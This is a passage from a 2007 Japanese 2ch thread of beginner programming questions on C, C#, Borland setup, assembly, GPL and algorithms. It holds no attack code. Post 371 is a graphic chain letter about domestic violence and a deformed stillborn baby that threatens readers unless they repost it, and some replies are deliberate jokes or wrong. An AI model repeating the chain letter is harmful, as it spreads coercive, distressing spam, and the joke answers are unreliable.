306デフォルトの名無しさん:2007/01/09(火) 17:28:08
帳票系(CrystalReports等)のスレってない?
307デフォルトの名無しさん:2007/01/09(火) 18:38:41
2chに書き込むコードのサンプルってないですかね?
もしくはbbs.cgiでpostする為の仕様とかは。
とりあえずC#で書き込みできるコードは書いたんだけど、見苦しい処理になってしまったんです。
正規にはどうすべきなのかとか話してるスレとかは無いですか?

308デフォルトの名無しさん:2007/01/09(火) 18:46:26
専ブラのソース
309デフォルトの名無しさん:2007/01/09(火) 19:05:17
質問です。MS-DOSでWatcomCを使ってます。

C言語のclock関数というのは、どういう仕組みで動いているんですか?
PITとかRTCを使ってるんですか?
CPUの中にカウンターか何かがあるんですか?

MS-DOS+PC-ATの環境ではどうやって実現されているのか教えてください。
310デフォルトの名無しさん:2007/01/09(火) 19:24:22
>>308
とりあえず、なんとかtailって奴のソース落として見てみます。
311309:2007/01/09(火) 19:27:57
ボーランドとかマイクロソフトとかのことでもいいです。
一般的にMS-DOSのCコンパイラではどうやってclockが実現されているのか知りたいです。
312デフォルトの名無しさん:2007/01/09(火) 20:03:06
>>309
ソース読め。
313デフォルトの名無しさん:2007/01/09(火) 21:04:15
ソースって、、、ライブラリの中だしソースないよ
314デフォルトの名無しさん:2007/01/09(火) 21:11:25
315デフォルトの名無しさん:2007/01/09(火) 21:12:17
日本人は醤油だろうがぁ!!
316デフォルトの名無しさん:2007/01/09(火) 21:14:41
>>309
ライブラリのソースみればいいじゃん
317290:2007/01/09(火) 21:20:44
>>292
そうなのか・・・
数学得意だが単語とか文の形式を覚えるのが苦手で英語が駄目って人と
数学は駄目だけど単語とか文の形式を覚えるのが得意で英語おkって人はどっちがいいんだろうか?

>>293
ごめん俺イギリス英語はあんまわからないんだ・・・
どっちかというとアメリカ人のほうだと思う
でアメリカ人になろうとしたんだが家族のあの和やかなふいんきがどうしても作り出せなくて挫折した
318デフォルトの名無しさん:2007/01/09(火) 21:25:52
>>314
そんな糞スレを挙げられても・・・
319デフォルトの名無しさん:2007/01/09(火) 21:27:23
>>317
イギリス英語だとね、ColorがColourだったり、CenterがCentreだったりするから、
プログラム時にちょっとね。
320デフォルトの名無しさん:2007/01/09(火) 21:36:26
質問です。板違いだったらごめんなさい。
OS:winXP
コンパイラ:Borland C++Compiler 5.5
プログラム:#include <stdio.h>

    int main(void)
    {
  printf("hello, world\n");

  return 0;
    }
エラー:エラー E2209 a.c 1: インクルードファイル 'stdio.h' をオープンできない
   警告 W8065 a.c 5: プロトタイプ宣言のない関数 'printf' の呼び出し(関数 main )
   *** 1 errors in Compile ***

その他状況:bcc32.cfgとilink32.cfgはcfgファイルになっており、binの中に入っています。内容に間違いもありません。
      pathの末尾には;c:\borland\bcc55\binを付け加えています

 あと気になっていることで、stdio.hがローカルディスク(c)の中にないか、検索したのですが、見つかりませんでした。
 ダウンロードも何度かやり直してみたのですが、どうにもなりません。
 どうすればよいでしょうか。教えてください。お願いします。
321デフォルトの名無しさん:2007/01/09(火) 21:38:20
検索すればいいんじゃないかな
322デフォルトの名無しさん:2007/01/09(火) 21:38:54
>>316
ソースって、、、ライブラリの中だしソースないよ
323デフォルトの名無しさん:2007/01/09(火) 21:46:38
>317
俺プログラミング始めた頃は
if「あいえふ」stdio「スタジオ」
locate「ろかて」delete「でれて」
console「こんそれ」
なんて読んでたが(当時小坊…今考えるとハズい)
それでも基本的なプログラムは組んでた
そりゃ今見るとかなり稚拙なコードなんだが
324デフォルトの名無しさん:2007/01/09(火) 21:48:21
>>323
思い出話はよそでやれ
325デフォルトの名無しさん:2007/01/09(火) 21:51:10
>>320
stdio.hはc:\borland\bcc55\includeにあるはずだが。
てかせめて5.5.1パッチくらい当てれ
326デフォルトの名無しさん:2007/01/09(火) 22:01:18
>>325
おかげで、解決しました。
ありがとうございました。
327デフォルトの名無しさん:2007/01/09(火) 22:42:21
C言語 アセンブラ java COBOL
どれが一番価値ありますか?
今からイチから勉強する初心者です
328デフォルトの名無しさん:2007/01/09(火) 22:43:05
その中から選ぶならCだな。
329デフォルトの名無しさん:2007/01/09(火) 22:43:24
猫に小判
330デフォルトの名無しさん:2007/01/09(火) 22:45:34
>>327
COBOLはもはや化石言語
Javaは現代のCOBOLと貶されてる
アセンブラから入るといきなり挫折する人もいるのでお勧めできない

というわけでCを勧める
331327:2007/01/09(火) 22:59:01
書き忘れた
基本情報技術者を手っ取り早く取りたいわけだが
無意味な勉強はしたくない、ってことで。
アセンブラが簡単と聞くけど、どうなんですか?
332デフォルトの名無しさん:2007/01/09(火) 23:00:14
CASLで万事OK
333デフォルトの名無しさん:2007/01/09(火) 23:26:35
イチから勉強するならアセンブラからを薦める
ネタじゃなくてマジで
334327:2007/01/09(火) 23:43:29
ほんと?じゃ、そうしようかな。でもどうして?
335デフォルトの名無しさん:2007/01/09(火) 23:56:27
>334
基本情報4言語の中で
・覚えなければならないことが少ない
・単純なことしか出来ない分、問題も単純なことしか要求しない
336デフォルトの名無しさん:2007/01/10(水) 00:17:34
しっつもーん。

オープンソースのプログラムを落としてきたんだけど、GPL ライセンスの
テキストが入ってたんだよね。

これって、これを解析して自分の作ってるものに応用したら
そのソースも GPL を適用して晒さないと行けないということ?


GNU GPL を読んでると、まわりくどくて頭がぐにゅぐにゅして
訳わからなくなってくるぜ。
337デフォルトの名無しさん:2007/01/10(水) 00:56:50
ガウスの消去法とLU分解の違いがよくわかりません
ガウスの消去法=前進消去+後退代入
LU分解法=前進消去を使いまわし+後退代入
こういう理解なんだけどあってますか?
338デフォルトの名無しさん:2007/01/10(水) 01:34:48
SRTGY
339デフォルトの名無しさん:2007/01/10(水) 02:09:11
>>336
GPLの適用されたソースコードの派生物には自動的にGPLが感染する

著作権が生じるのは表現たるソースコードであって、アルゴリズムじゃないけどね
340デフォルトの名無しさん:2007/01/10(水) 02:53:13
>>313
WatcomのはBIOSからクロックカウント取得してるようだが?
ソース読んだ限りでは。
341デフォルトの名無しさん:2007/01/10(水) 03:07:13
>>337
つるかめ算と連立方程式の違いみたいなもんだ
342327:2007/01/10(水) 07:31:56
皆様ありがとう
次はかっこい質問が出来るように勉強がんばります
343デフォルトの名無しさん:2007/01/10(水) 18:05:49
>>341
ありがとう
344デフォルトの名無しさん:2007/01/10(水) 22:39:22
>>340
OpemWatcomはソースも見れるんですね。勉強になりました。
どうもありがとう。
345デフォルトの名無しさん:2007/01/10(水) 23:01:36
Borland C++もVisual C++も無料版以外はきちんとライブラリのソースが付いているぞ。
346デフォルトの名無しさん:2007/01/11(木) 00:23:15
>>345
某はTurboで無料版にもVCLソース付いてたからRTLのソースも付いてるかも
347デフォルトの名無しさん:2007/01/11(木) 15:26:57
makeコマンドで-Ddefineっていうオプションを指定したときに、
defineを指定すると何がマクロとして定義されるかや、
どの部分のソースを使えるようになるかを知るには
ソースファイルを調べるしかないのでしょうか?
348デフォルトの名無しさん:2007/01/11(木) 17:50:58
即出だったらごめんなさい。

C++とC#の違いがどーも良くわからないんですが・・・
ゲイ○様の気まぐれ言語?
349デフォルトの名無しさん:2007/01/11(木) 17:56:20
何が聞きたいのかわからん。
違いがわからないほどではないと思うが
350デフォルトの名無しさん:2007/01/11(木) 17:57:32
>348
流れは汲むが、全くの別言語
351デフォルトの名無しさん:2007/01/11(木) 18:14:35
>>349
具体的に・・・じゃダメですかね?
なにぶんC++しか触ったことないので・・・

>>350
"C"とは名ばかりってことですか?
352デフォルトの名無しさん:2007/01/11(木) 18:26:56
>>351
むしろjavaに近いと思う
353デフォルトの名無しさん:2007/01/11(木) 18:50:17
>>347
ifnames ってコマンドでマクロはリストアップできるので、
後はgrepなどで調べるしかないかな?
まあ、 ifnames もソースファイルを調べるのだが、、
ifnames (GNU Autoconf) 2.61
354デフォルトの名無しさん:2007/01/11(木) 18:54:03
>>352javaですか・・・・
java勉強してきます
355デフォルトの名無しさん:2007/01/11(木) 18:56:20
>354
何故そこでC#のドキュメントを読もうとしないのか
C++やってるなら、読めば同じところも違うところも判るだろうに
356デフォルトの名無しさん:2007/01/11(木) 19:03:31
>>355
MSDNをDLするだけのHDD容量がないからなのですorz
残り1Gな俺のPC
357デフォルトの名無しさん:2007/01/11(木) 19:15:47
>>356
オンラインで読めばいいじゃない
358デフォルトの名無しさん:2007/01/11(木) 19:21:12
>>357
ダイヤルアップ回線なんですorz
359デフォルトの名無しさん:2007/01/11(木) 19:25:29
>>357今読んでるけど微妙な違いしかないのかな?ありがとうございました
>>358一応ADSLです。釣り餌美味しい
360デフォルトの名無しさん:2007/01/11(木) 20:17:07
まずGCの存在
361デフォルトの名無しさん:2007/01/11(木) 20:31:18
ともかく全然別物なので勉強汁
362デフォルトの名無しさん:2007/01/11(木) 22:39:07
HTMLに関する質問です。
ボタンの位置を端や中央に持ってくるにはどうすればいいんでしょうか?
テーブルの中に入れるっていうのも考えましたが分かりません。
誰か教えてください。
363デフォルトの名無しさん:2007/01/11(木) 22:54:42
こっちじゃないか?

Web制作
http://pc10.2ch.net/hp/
364デフォルトの名無しさん:2007/01/11(木) 23:09:12
>>363
誘導ありがとうございます。
365デフォルトの名無しさん:2007/01/12(金) 02:17:51
FirefoxPortableやNVUPortableなどで使われているプログラムソースって、
何で書かれているんでしょう?

FirefoxPortable.nsi
ってのがソースっぽいのですが、
nsiって何?
366デフォルトの名無しさん:2007/01/12(金) 02:32:52
ここで聞くべき質問ではないと思いますが…

N個のデータ列のバブルソートでは、データの交換が平均で
N^2回程度(N^2のオーダー、O(N^2))必要になるんでしょうか。
また、なぜデータの交換の平均回数がO(N^2)となるんでしょうか。
完全にスレ違いの質問だと思いますが、
どうかお教えください。よろしくお願いします。
367デフォルトの名無しさん:2007/01/12(金) 02:41:51
N * (N - 1)
+
N * (N - 2)
+
・・・
+
N * 1

=

N * N
368デフォルトの名無しさん:2007/01/12(金) 05:23:13
>=
>
>N * N

なぜ=なのかがさっぱり分からない
369デフォルトの名無しさん:2007/01/12(金) 05:50:01
オーダー計算としての等号だとしても
= N * N * N
にならないか?
370368:2007/01/12(金) 07:42:14
>>369
ですよねぇ
371デフォルトの名無しさん:2007/01/12(金) 08:44:03
奇形児を見たことはありますか? これは北海道の網走市であった話です。
古塚美枝さん(当時23) は、いわゆる売春婦でしたが夫がいました。
しかしその夫は働こうとせず、酒に溺れる毎日、そして酔うと必ず美枝さんに
暴力を振るいました。83年の夏、美枝さんは体調を崩し病院へ行きました。
原因は妊娠によるつわりなどでした。売春婦であった美枝さんは、
まず誰の子なのか考えましたが夫の子である事を確信し、
早く報告しようと急いで帰りました。しかし夫は自分の子とは信じず、
中絶を命じました。 それから5ケ月。結局美枝さんは中絶を拒み、
生むことを決意しましたが、夫は従わなかった事を不満に思い、
さらに暴力を振っていました。 そしてその日夫は美枝さんの腹部に
膝蹴りをしました。する と、美枝さんの股間からは溢れる様に血が流れてきました。
そして美枝さんは崩れ落ち、声にもならない 様なうめき声で唸りながら
........流産でした。夫は慌てて家を飛び出して行きました。何故?
それは生まれてきた子供が余りにも醜かったからです。目はあべこべに付き、
片方の目は眉毛の上に付いていました。鼻はだらしなく直角に曲がり、
口なんぞは縦向きに、しかも耳のつけねから裂け目の 様に付いていました。
動きもせず、ただこちらを眺めていました。 それからどうなったかは分かりません。
ただ、この話を聞いた人は最低3日間気を付けてください。
うしろで何か気を感じても振り向いて いけません。
それはあの子があなたを眺めているから。 10分以内にこれを
掲示板の5箇所に貼らなければそのままあの子は離れて行きません。
お気を付けて。
372デフォルトの名無しさん:2007/01/12(金) 11:45:29
ここに5個張ろうぜ、みたく
373デフォルトの名無しさん:2007/01/12(金) 16:33:38
for i := 0 to 4 do
 >>371;
374デフォルトの名無しさん:2007/01/12(金) 18:46:45

昔つくったfortran90にソースを
Windwos XPのCompaq Visual Fortran V6.5でコンパイルして実行したら、

integer,parameter :: fout = 20 ! ファイル出力用のデバイス番号
write(unit=fout,fmt=*) x, y, z, xx, yy, zz

でファイルに書き出したとき、60文字ごとに改行が入ってしまうのですが、
改行させないようにするんはどうしたらいいのでしょうか?
375デフォルトの名無しさん:2007/01/12(金) 19:29:33
COBOLについての質問です。

MOVE 1 TO A
MOVE 1 TO B

NUM(A) = NUM(B)の等式は成り立つのでしょうか?
添え字違いでもNUM(1)とみなされてなりたちますよね?
376デフォルトの名無しさん:2007/01/12(金) 19:32:15
377デフォルトの名無しさん:2007/01/12(金) 19:35:56
趣味でC言語を学んでいてゲームとかを作りたいので
GUIプログラム作成の勉強をしたいと思うのですが、
相談した所WINAPIの勉強が必要ということとCはGUIに向いていないのでC#を学ぶのを勧めるという意見をもらいました。
ゲームを作るにはWINAPIの勉強をしてC言語で作るのと、
C#の勉強をするのとどちらが良いのでしょうか?
378デフォルトの名無しさん:2007/01/12(金) 19:38:11
>>377
相談した奴に聞け
379デフォルトの名無しさん:2007/01/12(金) 19:42:17
相談です
380デフォルトの名無しさん:2007/01/12(金) 19:43:02
それぐらい自分で調べられないやつは向いてない
381デフォルトの名無しさん:2007/01/12(金) 19:44:06
そんな事より
画像や音声のフォーマット
入出力制御
行列、ベクトル
とかを勉強した方が
382デフォルトの名無しさん:2007/01/12(金) 19:44:52
あきらめよう
383デフォルトの名無しさん:2007/01/12(金) 19:45:13
>>377
C#+WINAPIで作るのがいいと思う。
だいたいは.Netのクラスで作って、
重い部分だけWINAPIを呼び出して処理するといいかも。
384デフォルトの名無しさん:2007/01/12(金) 19:49:34
>>383
御意見ありがとうございます。
C#で作る場合でもWINAPIの知識がいらないというわけではないのですね。
385デフォルトの名無しさん:2007/01/12(金) 19:51:28
C#だけじゃハード寄りな事やパフォーマンス重視な事は難しいからなぁ
386デフォルトの名無しさん:2007/01/12(金) 20:04:03
>>385
とりあえず入りやすいC#でGUIプログラミングを始めてみて、
慣れてきて色んな不便を感じたらWINAPIなんかの勉強をする方向にすれば良いでしょうか。
387デフォルトの名無しさん:2007/01/12(金) 20:08:12
>>375をお願いします、今試せないので…
388デフォルトの名無しさん:2007/01/12(金) 20:11:25
>>386
それではCができなくなる
Cを学べ
389デフォルトの名無しさん:2007/01/12(金) 20:26:38
>>388
Cが出来るようになりたいんじゃなくてGUIでゲームを作りたいので
特にCには拘っていないのですがC以外を学んで不味いこととかあるのですか?
390デフォルトの名無しさん:2007/01/12(金) 20:29:50
>>389
物には順序というものがある
Cをやれ
391デフォルトの名無しさん:2007/01/12(金) 20:32:26
GUIでゲーム作りたいだけならRPGツクールでええやん。
ハードウェアの構造やOSの仕組みみたいな
アプリケーションを作る上で必要最低限の知識も知らずに
良いゲームは作れんぞ。
392デフォルトの名無しさん:2007/01/12(金) 20:34:07
>>388
公開しないなら何でもいい
393デフォルトの名無しさん:2007/01/12(金) 20:34:36
>>389
俺はJava,C#の後にCをやった。
C#やってからでもCはできるよ。
394392:2007/01/12(金) 20:35:00
×>>388
>>389
公開しないなら何でもいい
395389:2007/01/12(金) 20:45:19
なるほど、つまりそういう基本的な知識がC#では身につかないのですね。
では皆さんの意見を参考に、
『Windowsゲームプログラミング』という本でCで勉強してからC#に移ってみようと思います。
396デフォルトの名無しさん:2007/01/12(金) 20:55:21
C#のみではどうにもならない場合がある
→Win32APIを直接叩く必要がある
→Win32APIはC言語でできてます
397デフォルトの名無しさん:2007/01/12(金) 20:56:34
>>395
>>391
>ハードウェアの構造やOSの仕組みみたいな
>アプリケーションを作る上で必要最低限の知識も知らずに
>良いゲームは作れんぞ。
ってのはCとC#のどちらをやるにしても言える事だよ。
398デフォルトの名無しさん:2007/01/12(金) 21:04:46
ハードウェアの構造やOSの仕組みみたいな
アプリケーションを作る上で必要最低限の知識を得ようとしたときに

C#は遠回りでCが近道

だとしたらあなたはどちらを通りますか?
399デフォルトの名無しさん:2007/01/12(金) 21:05:36
そういった知識は言語に依存しません
400デフォルトの名無しさん:2007/01/12(金) 21:07:19
Cが遠回りでもCを通ります
401デフォルトの名無しさん:2007/01/12(金) 21:36:01
依存しまくりだろ
402デフォルトの名無しさん:2007/01/12(金) 21:41:44
CでできることはほとんどC#でもできるし
Cやっててそういった知識が付くようならC#でも付く
403デフォルトの名無しさん:2007/01/12(金) 21:43:19
言語より本人の能力次第でどうにでもなる
404デフォルトの名無しさん:2007/01/12(金) 21:58:21
じゃあ結局入りやすいC#で良いってこと?
405デフォルトの名無しさん:2007/01/12(金) 21:58:22
つーかハードウェアの構造やOSの仕組みって
アプリケーションを作る上で必要最低限の知識なのか?
406デフォルトの名無しさん:2007/01/12(金) 22:02:12
素人が作っても熟練の料理人が作っても料理は料理って事。
407デフォルトの名無しさん:2007/01/12(金) 22:04:28
C#でいいよ
408デフォルトの名無しさん:2007/01/12(金) 22:06:01
ダメなやつは何をやってもダメ
409デフォルトの名無しさん:2007/01/12(金) 22:06:21
テトリス程度ならC#で余裕
410デフォルトの名無しさん:2007/01/12(金) 22:12:31
>>387
【COBOL】コボラー集まれ!!!【事務処理】
http://pc10.2ch.net/test/read.cgi/tech/1146475958/

COBOLについて勉強したい!
http://pc10.2ch.net/test/read.cgi/prog/1120922010/
411デフォルトの名無しさん:2007/01/12(金) 22:23:03
チョボラ
412デフォルトの名無しさん:2007/01/12(金) 22:23:05
>>409
今からやるからヨロ
413デフォルトの名無しさん:2007/01/12(金) 22:32:54
何を宜しくすればいいんだ?
414デフォルトの名無しさん:2007/01/12(金) 22:46:45
CはC#に比べてメモリの使い方が原始的(?)な気がする。
あとGCも大きな違いか。using使うからあんま意識しないけど。
415デフォルトの名無しさん:2007/01/12(金) 23:00:19
>>377
3D物ならC# + XNAGameStudioオヌヌ
両方MSのサイトから落とせる
416デフォルトの名無しさん:2007/01/13(土) 07:29:56
すみません、質問させて下さい。
現在オフィスマスター所持なのですが、アクセスのVBに関してはシロートです。
アクセスのVBをした方が良いでしょうか?それとも別のアプリを使用した方が良いでしょうか?
現在事務で仕事してますが、将来的にはSEになりたいと考えてます。
417デフォルトの名無しさん:2007/01/13(土) 07:39:53
>>416
そんなくだらない事を聞いてどうするのです
418デフォルトの名無しさん:2007/01/13(土) 09:59:25
>417
逆にくだらない質問を他のスレでやられても困るんだが。

>>416
VBAは対象アプリ毎に結構違いが大きい。
AccessでやりたいならAccessのVBAを学ぶが吉。

ただ、SEならVB系だけじゃやっていけないだろうな。
それとは別にC言語やJava等の知識も要るだろう。
あとは最近流行りのスクリプト系か?

常に進歩してく業界だから常に学ぶべし。
419デフォルトの名無しさん:2007/01/13(土) 10:19:50
使う可能性があるのは全部やっておけば問題ない
420デフォルトの名無しさん:2007/01/13(土) 13:20:51
while(*d++ = *s++);
これって条件はどういう動作を表しているのでしょうか?
421デフォルトの名無しさん:2007/01/13(土) 13:26:52
>>420
*d++ = *s++;
while(*d)
 *d++ = *s++;
422デフォルトの名無しさん:2007/01/13(土) 13:32:43
問題で
プログラムを作成し実行するまでの間に、
アドレスの修正は何度行われるかそれぞれ行われるタイミングについて述べよ。

というのが出るんですが、検索しても分かりません。
423デフォルトの名無しさん:2007/01/13(土) 13:39:31
>>421
*d = *s;
while(*d) {
 d++;
 s++;
 *d = *s;
}
424デフォルトの名無しさん:2007/01/13(土) 13:41:02
>>422
背景が不明
425420:2007/01/13(土) 13:46:02
>>421,423
メモリのコピーって事ですか?
426デフォルトの名無しさん:2007/01/13(土) 13:46:53
>>424
背景と言っても設問:〜としか書いてないです
プログラム記述→コンパイル→実行の間にアドレス?(何のだ)修正が
どこで行われるかという問題ぽいです。
427デフォルトの名無しさん:2007/01/13(土) 14:14:30
>>425

0 で終端されるメモリのコピー(終端もコピー)

あと >>421 は間違ってる
428デフォルトの名無しさん:2007/01/13(土) 23:16:06
教えてください。
vista対応のソフトを制作中です。
私はプログラマではないのでうまく質問が伝わらなかったらすみません。

setup.exeに電子署名を入れたものをCD-ROMにし、
CD-ROMを入れる → autorun → インストーラー起動・・
とここで「電子署名〜」という警告が出てしまいます。

原因はおそらく、setup.exeを作る際にアンインストーラーの電子署名が
消えてしまうからだと思うのですが、なんとか解決する策はないでしょうか?
もしくは、このソフトを使って、こうすれば大丈夫!という情報があれば助かります。

インストールシールドの最新verはvistaで駄目だったと聞いたので
setup作成にはイノセットアップを使用しています。
しかし、ソフト内でuninsを自動(?)で作成してしまうため
電子署名が消えてしまうようです。
429デフォルトの名無しさん:2007/01/14(日) 01:05:28
   (1)  (2)  (3)  (4)  (5)
A  10  45  30  10  10

B  20  15  10  20  18

C  30  25  30  40  15

D  18  15  30  10  18

(1)〜(5)のタスクと、A〜Dの人がいます。
各(1)〜(5)を実行するのにかかるコストが上の表のように与えられています。
そして、A〜Dそれぞれの人は、1つだけタスクを担当することができます。
但し、タスクが人の数より少ない場合は、タスクが与えられない人がいてもよいことにしますが、
できるだけ多くの仕事をこなさなければなりません。
(この場合はタスクが5つ、仕事4つなので、A〜D全員が受け持たなければならない。)
このとき、コストを最小にする選択を見つけるようなアルゴリズムを教えてください。
430デフォルトの名無しさん:2007/01/14(日) 01:17:46
どっちかってーと、宿題スレ向きの話題だな。
431デフォルトの名無しさん:2007/01/14(日) 01:20:08
では、宿題スレにかきこみなおします。
432デフォルトの名無しさん:2007/01/14(日) 11:57:02
PowerPointのスライドにVB.NETで作成したアプリを貼るにはどうすればよいでしょうか?(貼れるのでしょうか?)ビジネスsoft板のPowerPointの質問スレで返答がないのでお願いします。
433デフォルトの名無しさん:2007/01/14(日) 12:08:00
貼るってどういう意味だ?
見た目だけでいいなら、スクリーンショットでも貼っとけ
434432:2007/01/14(日) 12:13:01
>433
スロットゲームを作ったのでそれを貼りたい(実演中にボタンをクリックしてリール止めたり)したいのですが…
435デフォルトの名無しさん:2007/01/14(日) 12:19:06
そういうのならできないと思う

っていうか別にパワーポイントに貼る必要ないんじゃないの?
普通に起動して実演ってのはダメなの?
436デフォルトの名無しさん:2007/01/14(日) 15:10:25
HDDのSMART機能の情報をC言語(windows)で取得する手段を教えて下さい。

今の私のレベルでは、ハードに近い処理を実現する方法を見つけることが出来ませんでした。
デバイスドライバなどの知識が必要でしょうか?

どなたか足がかりになる情報でもよろしいのでお願いします。
437434:2007/01/14(日) 15:16:04
>435
PowerPointを使ったプレゼンに限定されていたので、あわよくばと思っていましたが、やはりダメでしたか…
ご回答ありがとうございました。
438デフォルトの名無しさん:2007/01/14(日) 15:24:44
439436:2007/01/14(日) 15:47:44
>>438
thanks!
440デフォルトの名無しさん:2007/01/14(日) 18:32:03
WinXPです。
指定時刻(毎日0:00)に任意のコマンドを実行したいんですが、
常駐せずに実行することは可能ですか?
タスクスケジューラよりリソース使用量が低ければ常駐でも構いません。

今考えているのは、しょっちゅうブラウザを起動するので、
ブラウザの起動時にDLLなりプラグインで、時刻を確認し実行するものです。
何か良い案がございましたら教えてくださいませ。
441デフォルトの名無しさん:2007/01/14(日) 18:34:53
指定時刻の1分前にタイマーを鳴らし計算機の前に待機してその時を待つ。
442デフォルトの名無しさん:2007/01/14(日) 19:05:40
>440
普通にタスクでよくね?
443440:2007/01/14(日) 19:17:41
>>442
そうなんですが、プリフェッチ切ってるので実行されないんです。
だからタスクスケジューラは削除してしまおうと思いまして
444デフォルトの名無しさん:2007/01/14(日) 19:29:17
Linuxでアセンブラの勉強したいのですが
コンパイラってどこにあるのでしょうか?
445デフォルトの名無しさん:2007/01/14(日) 19:34:17
1行目と2行目の繋がりがわからん。
446デフォルトの名無しさん:2007/01/14(日) 19:38:26
Linuxでアセンブリ言語の勉強をしたいのですが
アセンブラってどこにあるのでしょうか?
と解釈
NASMが、メジャーと思われる。
http://sourceforge.net/projects/nasm
447デフォルトの名無しさん:2007/01/14(日) 19:38:39
>>445
コンパイル結果を確認したいんじゃないの?

「こういうソース書いたら、こうコンパイルされるんだ」って。
448デフォルトの名無しさん:2007/01/14(日) 19:39:23
gas じゃないの?
449デフォルトの名無しさん:2007/01/14(日) 19:42:17
まて、x86とは限らないかもしれないじゃないか!
450デフォルトの名無しさん:2007/01/14(日) 19:46:03
じゃ、gasがいいな。
NASMだとx86オンリーだったはずだし。
個人的にはNASMのほうが好きなんだが。
451デフォルトの名無しさん:2007/01/14(日) 20:08:08
nasmというのをインストールしてみたところ動かすことが出来ました
ありがとうございましたm(__)m
452デフォルトの名無しさん:2007/01/14(日) 22:04:47
nasmインストールして
HelloWorldレベルの事は出来たのですが、その後がいきなり難しい処理ばっかりで
ついていけないです(;;)

検索してもアングラサイトみたいなところばっかりヒットして
基本が勉強できるサイトが見付かりませんでした。

何処か初心者用の良いサイトを御存じの方いませんでしょうか?
453デフォルトの名無しさん:2007/01/14(日) 22:14:26
Linuxコミュニティで喧嘩の無い良識がある人の集まった
ML、掲示板を探しています。ご紹介願います。

454デフォルトの名無しさん:2007/01/14(日) 22:20:54
>>453
お前こんな所へ逃げて来ても無駄
455デフォルトの名無しさん:2007/01/14(日) 22:23:49
>>454
逃げてきたとわかりましたか・・・orz
逃げ場は他には無いでしょうか?
456デフォルトの名無しさん:2007/01/14(日) 22:51:53
自分で立ち上げるのがいいんじゃまいか
457420:2007/01/15(月) 00:41:10
>>427
0 で終端されるメモリのコピー(終端もコピー)
って指定箇所からメモリに0が代入されているところまで、コピーって事ですよね。
458デフォルトの名無しさん:2007/01/15(月) 04:37:13
2chもかつてはアングラと呼ばれてた時期があったのだが時代は変わったな…
459デフォルトの名無しさん:2007/01/15(月) 09:55:02
>>452
大抵のCコンパイラはアセンブリ出力もできるから、簡単なCソース書いて吐いたアセンブリでも眺めてみたら?
460デフォルトの名無しさん:2007/01/15(月) 13:58:49
>>457
それがどうかしたか?
461デフォルトの名無しさん:2007/01/15(月) 14:29:59
頭の中で(紙に書いてもいいが)実行できるようにならんとね
462デフォルトの名無しさん:2007/01/15(月) 17:20:25
>>459
見てみました(><)
gcc出力した文法とnasmの文法で、だいぶちがっていてびびりました。
ライブラリ使ってるからかな?

地道にやってみます。
463デフォルトの名無しさん:2007/01/15(月) 18:04:04
#include <stdio.h>

int main(void)
{
char *dst = (char *)0x0000;
char *src = (char *)0x0100;
while(*dst++ = *src++);
return 0;
}
main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $0, -4(%ebp)
movl $256, -8(%ebp)
.p2align 2
.L3:
movl -4(%ebp), %edx
movl -8(%ebp), %eax
movb (%eax), %cl
movb %cl, (%edx)
leal -8(%ebp), %eax
incl (%eax)
leal -4(%ebp), %eax
incl (%eax)
testb %cl, %cl
jne .L3
movl $0, %eax
leave
ret
464デフォルトの名無しさん:2007/01/15(月) 18:09:28
465デフォルトの名無しさん:2007/01/15(月) 18:29:41
文法はちがわないと思うが
466デフォルトの名無しさん:2007/01/15(月) 18:32:42
見ためかな

section .text
global _start

msg db 'Hello,World', 0x0A
msglen equ $ - msg

_start:
mov ecx, msg
mov edx, msglen
mov eax, 4
mov ebx, 1
int 0x80
mov eax, 1
mov ebx, 0
int 0x80
467デフォルトの名無しさん:2007/01/15(月) 18:34:11
.section .rodata
.LC0:
.string "Hello,World\n"
.text
.align 4
.globl main
.type main,@function
main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
subl $12, %esp
pushl $.LC0
call printf
addl $16, %esp
leave
ret
468デフォルトの名無しさん:2007/01/15(月) 18:45:26
WindowsVistaってCで出来てるの? それともC++でできてるの?
469デフォルトの名無しさん:2007/01/15(月) 19:10:00
両方を適度に使っているのではないだろうか。
470デフォルトの名無しさん:2007/01/15(月) 19:33:10
C、C++、Java、Delphiが使われてる分野について教えてください
例えばCならばシステム周り、C++ならアプリケーションなどのようにです。
471デフォルトの名無しさん:2007/01/15(月) 19:37:41
C:Webプログラミング
C++:科学技術計算
JAVA:家庭、アーケードゲーム
Delphi:CUI処理系ソフト
472デフォルトの名無しさん:2007/01/15(月) 20:15:48
>>471
Haskellは?Haskellは〜?
473デフォルトの名無しさん:2007/01/15(月) 20:18:47
グラディウスに決まってるだろ
474デフォルトの名無しさん:2007/01/15(月) 20:42:12
>471
ちょwwwあべこべw
475デフォルトの名無しさん:2007/01/15(月) 22:48:40
>>467
読み慣れたintel形式で見たければ、gcc -S -masm=intel でやってみ
476デフォルトの名無しさん:2007/01/16(火) 12:27:05
サブネットマスクや物理アドレス、IPアドレスなどPCに割り当てられているものは沢山あるけど、
プロバイダを変える以外に決して変動することのないものみたいなのはあるんでしょうか?
477デフォルトの名無しさん:2007/01/16(火) 12:37:15
MACアドレスなら簡単に変動することは、ないと思うけど
476が、cgiからPC固有の情報を取得したいというのならムリだな。
478デフォルトの名無しさん:2007/01/16(火) 12:39:53
イーサのアドレスは事実上PC固有のアドレスと考えても良いんジャマイカ
479476:2007/01/16(火) 12:55:51
>>477
cgiではなく、ファイル共有みたいな仕組みでもPC固有の情報を取得することは出来ませんかね?

イーサネットのアドレスは全PC共通して固有のアドレスなんでしょうかね?
480デフォルトの名無しさん:2007/01/16(火) 13:06:43
NICのMACアドレスは全世界でユニーク、これをROMから読み出せばPC固有情報として使用できる。
でも、通信に使うMACアドレスは自由に設定できるので、他のノードから調べることはできない。
481デフォルトの名無しさん:2007/01/16(火) 14:40:36
ところでDBって無しの方が早いのかな?
482デフォルトの名無しさん:2007/01/16(火) 14:45:18
何のDB?
483デフォルトの名無しさん:2007/01/16(火) 14:50:51
私にはウイルスを作るほどの技術も知識も全くなく
単なる知識として知っておきたいだけなので教えてもらえないでしょうか?
よく、P2Pでウイルスが問題になりますが
これらは全て展開することで力を発揮するプログラムばかりですよね?
そこで質問なのですが、フォルダを開くだけで感染したり
そのファイルがPC内に存在するだけで効力を発揮する
プログラムって作ることは出来ないのでしょうか?
もちろんCDのオートプレイでは開くだけで、プログラムが
起動することは知っています。

484デフォルトの名無しさん:2007/01/16(火) 15:04:09
フォルダを開いたり、そのファイルがPC内に存在することそのものだけでは感染は無いだろうけど
OSやアプリがユーザの預かり知らぬ所で勝手にごにょごにょするのはよくある事。
